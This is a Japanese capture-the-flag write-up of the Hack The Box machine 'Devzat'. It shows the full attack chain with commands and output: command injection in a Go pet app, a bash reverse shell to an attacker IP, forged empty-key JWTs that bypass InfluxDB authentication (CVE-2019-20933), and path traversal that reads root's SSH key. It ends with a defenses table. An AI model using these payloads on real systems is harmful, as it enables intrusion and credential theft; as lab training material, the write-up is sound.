Hack The BoxのWriteup(Devzat)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Devzat — 全実行コマンド・実行結果レポート
Nmap スキャン
22 / 80 / 8000(devchat)
.git 露出発見
pets.devzat.htb
Go exec.Command 注入
species パラメータ
patrick シェル取得
CVE-2019-20933
InfluxDB JWT 認証バイパス
catherine 平文パスワード
user.txt ✓
devchat dev(8443)
/file パストラバーサル
root.txt ✓

全ポートスキャン & バージョンスキャン

BASH
nmap -p- --min-rate 5000 -oN nmap/allports.txt 10.129.136.15
nmap -sV -sC -p 22,80,8000 -oN nmap/scripts.txt 10.129.136.15
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://devzat.htb/
8000/tcp open  ssh     Golang x/crypto/ssh server (protocol 2.0)
Service Info: Host: devzat.htb; OS: Linux
🚨
重要発見: TCP 8000 は通常の OpenSSH ではなく Go 言語製の SSH サーバー (devchat)。ボックス名の通り「devzat」という SSH 経由チャットアプリケーションが 稼働している。80 は devzat.htb へリダイレクトするため /etc/hosts に追記する。

devzat の SSH チャットに接続してみる

BASH
ssh -p 8000 anyname@devzat.htb
RESULT
Welcome to the chat. There are no more users
devbot: anyname has joined the chat
ℹ️
任意のユーザー名で入室でき、チャットとして機能する。patrickcatherine など既知アカウント名で接続すると Nickname reserved for local useと拒否される (= localhost 接続のみ許可されたローカル専用アカウント名と判明)。

バーチャルホスト探索 → pets.devzat.htb

BASH
wfuzz -u http://devzat.htb -H 'Host: FUZZ.devzat.htb' \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 26
RESULT
000003745:   200   20 L   35 W   510 Ch   "pets"
ℹ️
pets.devzat.htb/etc/hosts に追記。アクセスすると ペットの一覧・追加フォームを持つ Go 製 Web アプリ (Pet Inventory) が見つかる。

.git 露出の発見と回収

BASH
nmap -sCV -p 80 pets.devzat.htb
# → http-git: 10.129.136.15:80/.git/ Git repository found!

curl -s -o /dev/null -w "%{http_code}\n" http://pets.devzat.htb/.git/   # 200 (directory listing 有効)
wget -r http://pets.devzat.htb/.git/
cd pets.devzat.htb && git reset --hard HEAD
RESULT
HEAD is now at ef07a04 back again to localhost only
main.go  go.mod  go.sum  petshop(バイナリ)  characteristics/  static/ ...
ℹ️
.git ディレクトリの listing が有効なため、git-dumper 等を使わず 単純な wget -r でリポジトリ全体を回収できる。
PHASE 2

ソース解析 & Go exec.Command コマンドインジェクション

main.go の脆弱な loadCharacter() 関数

NOTE (main.go)
func loadCharacter(species string) string {
    cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
    stdoutStderr, err := cmd.CombinedOutput()
    ...
    return string(stdoutStderr)
}

func addPet(w http.ResponseWriter, r *http.Request) {
    ...
    addPet.Characteristics = loadCharacter(addPet.Species)   // 検証なし
    Pets = append(Pets, addPet)
    ...
}
🚨
species フィールドはユーザー入力そのまま文字列連結され sh -c "cat characteristics/<species>" として実行される。 バリデーションが一切無いため、; でコマンドを追加注入できる。

コマンドインジェクションの確認

BASH
curl -X POST http://pets.devzat.htb/api/pet \
  -d '{ "name": "test", "species": "cat; id" }' \
  -H "Content-Type: application/json"

curl -s http://pets.devzat.htb/api/pet | python3 -m json.tool
RESULT
{
    "name": "test",
    "species": "cat; id",
    "characteristics": "Having a cat is like living in a shared apartment...\nuid=1000(patrick) gid=1000(patrick) groups=1000(patrick)\n"
}
コマンドインジェクション成立確認! GET /api/pet で ペット一覧(JSON)が返るため、注入したコマンドの標準出力が characteristics フィールドにそのまま表示される。

リバースシェル取得 & SSH 鍵回収

BASH
# リスナー起動
nc -lnvp 4444

# リバースシェルペイロードを species に注入(HTTPハンドラはシェルが終了するまで
# ブロックし続けるためレスポンスはタイムアウトするが無視してよい)
curl -X POST http://pets.devzat.htb/api/pet \
  -d '{ "name": "rev", "species": "cat; bash -c \"bash -i >& /dev/tcp/10.10.15.201/4444 0>&1\"" }' \
  -H "Content-Type: application/json"
RESULT (nc リスナー側)
connect to [10.10.15.201] from (UNKNOWN) [10.129.136.15] 57394
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
patrick@devzat:~/pets$ id
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick)
BASH
patrick@devzat:~/pets$ cat /home/patrick/.ssh/id_rsa
patrick のシェルから ~/.ssh/id_rsa がそのまま読み取れたため、 以後は不安定なリバースシェルではなく 安定した SSH アクセスに切り替える。
PHASE 3

CVE-2019-20933: InfluxDB JWT 認証バイパス

localhost 限定サービスの発見

BASH
patrick@devzat:~$ netstat -tnlp
RESULT
tcp   127.0.0.1:8443   LISTEN   -                  (謎の devzat 開発版インスタンス)
tcp   127.0.0.1:5000   LISTEN   930/./petshop      (pets アプリ本体)
tcp   127.0.0.1:8086   LISTEN   -                  (InfluxDB)
tcp6  :::8000          LISTEN   937/./devchat      (devzat 本番チャット)
BASH
ssh -p 8000 localhost   # devzat チャットのローカル専用アカウント間の履歴を閲覧
RESULT
admin: So I setup the influxdb for you as we discussed earlier in business meeting.
patrick: Cool 👍
admin: Be sure to check it out and see if it works for you, will ya?
ℹ️
devzat のチャット履歴に InfluxDB を admin が用意したという会話が残っており、 8086 番ポートが InfluxDB だと裏付けられる。

バージョン確認 & CVE 特定

BASH
curl -v http://localhost:8086 2>&1 | grep Influxdb-Version
RESULT
< X-Influxdb-Version: 1.7.5
🚨
CVE-2019-20933 — InfluxDB < 1.7.6 の認証バイパス脆弱性。 JWT Bearer 認証を検証する services/httpd/handler.go が、 JWT の署名鍵(SharedSecret)が空文字列であっても検証を通してしまう実装バグ。 expusername クレームさえあれば、空文字列を鍵として HS256 署名した自作 JWT で任意ユーザーとして認証できる。

空鍵 HS256 JWT の作成 & 認証バイパス

PYTHON (JWT 手動生成、PyJWT 不要)
import base64, hashlib, hmac, json, time

def b64url(data: bytes) -> bytes:
    return base64.urlsafe_b64encode(data).rstrip(b"=")

header  = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(",", ":")).encode())
payload = b64url(json.dumps({"username": "admin", "exp": time.time() + 10000},
                             separators=(",", ":")).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()   # ← 鍵は空文字列!
token = (signing_input + b"." + b64url(sig)).decode()
print(token)
BASH
patrick@devzat:~$ curl -G 'http://localhost:8086/query?pretty=true' \
  --data-urlencode "q=SHOW DATABASES" \
  -H "Authorization: Bearer <上記トークン>"
RESULT
{
    "results": [{ "series": [{ "name": "databases",
        "values": [ ["devzat"], ["_internal"] ] }] }]
}
認証バイパス成功! 空文字列を鍵に署名しただけの自作 JWT が Bearer 認証として受理された。

user テーブルから catherine の平文パスワードを窃取

BASH
curl -G --data-urlencode 'q=select * from "user"' -d 'db=devzat' \
  localhost:8086/query?pretty=true -H "Authorization: Bearer <token>"
RESULT
"columns": ["time","enabled","password","username"],
"values": [
    [ "...", false, "WillyWonka2021", "wilhelm" ],
    [ "...", true,  "woBeeYareedahc7Oogeephies7Aiseci", "catherine" ],
    [ "...", true,  "RoyalQueenBee$", "charles" ]
]
DB の平文パスワードは OS ユーザーのログインパスワードとしてそのまま使い回されている。
PHASE 4

su – catherine → user.txt

catherine へ昇格し user.txt を取得

BASH
patrick@devzat:~$ su - catherine
Password: woBeeYareedahc7Oogeephies7Aiseci

catherine@devzat:~$ cat user.txt
RESULT
uid=1001(catherine) gid=1001(catherine) groups=1001(catherine)
940adcb0035f9cebbb4f4f36ecb1ec40
user.txt — catherine@devzat
940adcb0035f9cebbb4f4f36ecb1ec40
PHASE 5

devchat 開発版インスタンス(8443)の /file パストラバーサル

catherine のみが読めるチャット履歴から手掛かり

BASH
catherine@devzat:~$ ssh -p 8000 localhost
RESULT
patrick: I implemented it. If you want to check it out you could connect to
         the local dev instance on port 8443.
patrick: You'll need a password I gave you last time.
patrick: I left the source for your review in backups.
ℹ️
127.0.0.1:8443 は devzat の開発中バージョンを動かすインスタンスで、 パスワード保護された新機能があるとわかる。ソースは /var/backups に あるとのヒントも得られる。

開発版ソースの入手 & diff で file コマンドを発見

BASH
catherine@devzat:~$ ls -l /var/backups/devzat-*.zip
cp /var/backups/devzat-dev.zip /tmp/; chmod 666 /tmp/devzat-dev.zip
# ローカルに scp で回収後、本番版(devzat-main.zip)と diff -burN
NOTE (commands.go の新規追加コード)
func fileCommand(u *user, args []string) {
    ...
    pass := args[1]
    if pass != "CeilingCatStillAThingIn2021?" {          // ハードコードされたパスワード
        u.system("You did provide the wrong password")
        return
    }
    cwd, _ := os.Getwd()
    printPath := filepath.Join(cwd, args[0])              // ← 検証なしのパス結合
    file, _ := os.Open(printPath)
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        u.system(scanner.Text())                          // ファイル内容をチャットに出力
    }
}
🚨
新機能 /file <path> <password> は、パスワードさえ一致すれば プロセスの実行ディレクトリ(root権限で起動、cwd=/root/devzat)を基準に 任意パスのファイル内容をチャットに垂れ流す../ で親ディレクトリへ パストラバーサル可能。

8443 番へ接続し /file で root の SSH 秘密鍵を読む

BASH
# どのユーザー名で繋いでもよい。ただし端末サイズが伝わらない生パイプ入力だと
# devchat の TUI (bubbletea) がクラッシュするため TERM と端末サイズを明示する。
export TERM=xterm-256color; stty rows 50 cols 200
TERM=xterm-256color ssh -tt -p 8443 -o StrictHostKeyChecking=no anyname@localhost
BASH (chat 内)
/file ../.ssh/id_rsa CeilingCatStillAThingIn2021?
RESULT
[SYSTEM] -----BEGIN OPENSSH PRIVATE KEY-----
[SYSTEM] b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW...
[SYSTEM] ...
[SYSTEM] -----END OPENSSH PRIVATE KEY-----
⚠️
ハマりどころ: ローカル端末(TERM/画面サイズ)を伝えない状態で SSH パイプ越しにメッセージを送ると、start.shuntil ./devchat; do respawn; done という自動再起動ループに なっているにもかかわらず、こちら側は応答を受け取れずハングしたように見える。 TERM=xterm-256colorstty rows/cols を明示し、 本物の PTY を要求する対話的 SSH セッション経由で送ることで安定して動作する。
PHASE 6

root 秘密鍵で SSH → root.txt

回収した秘密鍵で root として SSH ログイン

BASH
chmod 600 devzat_root_id_rsa
ssh -i devzat_root_id_rsa root@10.129.136.15 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
6affa96b122eb6dca810894868915b52
root権限取得成功! パストラバーサルで抜き出した鍵が そのまま /root/.ssh/authorized_keys に対応する秘密鍵として機能する。
root.txt — root@devzat
6affa96b122eb6dca810894868915b52
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — catherine@devzat
940adcb0035f9cebbb4f4f36ecb1ec40
root.txt — root@devzat
6affa96b122eb6dca810894868915b52

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
.git 露出 pets.devzat.htb ソースコード漏洩 Medium directory listing 有効な .git を wget -r で回収し脆弱箇所を特定
Go exec.Command 注入 pets アプリ /api/pet species パラメータ リモートコード実行 (patrick) Critical species を “cat; <任意コマンド>” にしてシェルコマンドを追加注入
CVE-2019-20933 InfluxDB 1.7.5 (127.0.0.1:8086) 認証バイパス・DB内容窃取 Critical 空文字列を鍵に HS256 署名した JWT で任意ユーザーとして認証
file コマンドのパストラバーサル devchat 開発版インスタンス (127.0.0.1:8443) 任意ファイル読み取り (root権限) High ハードコードされたパスワード通過後、../ でプロセス実行ディレクトリ外のファイルを読取

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + wfuzz vhost + .git 露出発見pets.devzat.htb、main.go ソース入手
2コマンドインジェクションspecies パラメータへの sh -c 注入patrick リバースシェル + SSH 秘密鍵
3InfluxDB 認証バイパスCVE-2019-20933 空鍵 JWTcatherine 平文パスワード
4権限昇格1su – catherineuser.txt 取得
5開発版解析backups の zip diff で /file 発見ハードコードパスワード CeilingCatStillAThingIn2021?
6権限昇格2devchat dev(8443) /file パストラバーサルroot.txt 取得(root SSH鍵)

学んだ教訓 & 防御策

問題点防御策
本番 Web サーバーの .git ディレクトリが公開され、かつ directory listing まで有効 Apache/Nginx 設定で .git への直接アクセスを拒否し、directory listing も無効化する。デプロイ時に .git をドキュメントルート外へ配置する。
ユーザー入力をそのまま OS コマンドに文字列連結している exec.Command には固定引数のみを渡し、ユーザー入力はホワイトリスト検証(既知のファイル名一覧との照合)を必ず行う。
脆弱なバージョンの InfluxDB (CVE-2019-20933) を使用 InfluxDB 1.7.6 以降へアップグレードする。DB ポートは localhost限定であっても、侵入後の横展開に使われる前提でパッチ管理を徹底する。
DB のパスワードを OS ログインパスワードとして使い回している サービスごとに一意なパスワードを使用する。
開発中の新機能(/file コマンド)がテスト用ハードコードパスワードのまま本番同様の権限(root)で稼働 開発版インスタンスは本番と隔離し、最小権限で実行する。ハードコードされた認証情報や未完成のデバッグ機能を本番相当の環境に残さない。
HackTheBox: Devzat | 完全攻略レポート